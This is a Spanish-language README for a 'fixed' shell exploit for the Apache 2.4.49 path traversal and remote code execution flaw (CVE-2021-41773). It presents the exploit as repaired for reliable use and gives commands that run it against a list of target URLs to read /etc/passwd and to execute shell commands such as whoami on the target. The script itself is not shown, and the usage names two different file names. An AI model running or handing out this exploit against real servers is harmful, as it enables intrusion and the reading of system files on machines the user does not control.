Apache HTTP Server 2.4.49 - Path Traversal & Remote Code Execution (RCE) Exploit (Fixed Version)

Descripción

Este es un exploit para la vulnerabilidad de Apache HTTP Server 2.4.49 identificada como CVE-2021-41773. La versión original del exploit publicada en Exploit-DB contenía errores de sintaxis y ejecución, por lo que esta versión ha sido corregida para garantizar su correcto funcionamiento en entornos Linux.

Correcciones realizadas

• Se corrigió la sintaxis incorrecta en la estructura if.
• Se corrigió el bucle for para asegurar su correcta ejecución.
• Se agregó validación adecuada de los argumentos.
• Se mejoró la legibilidad y el manejo de errores.
• Se incluyó una verificación de permisos y ejecución.

Uso

chmod +x PoC.sh
./50383.sh targets.txt /etc/passwd

Ejemplo de Uso

Archivo targets.txt (lista de objetivos):

http://192.168.1.100
http://vulnerable-site.com

Ejecución del exploit para leer /etc/passwd:

./50383.sh targets.txt /etc/passwd

Ejecución del exploit para ejecutar un comando en el sistema objetivo:

./50383.sh targets.txt /bin/sh whoami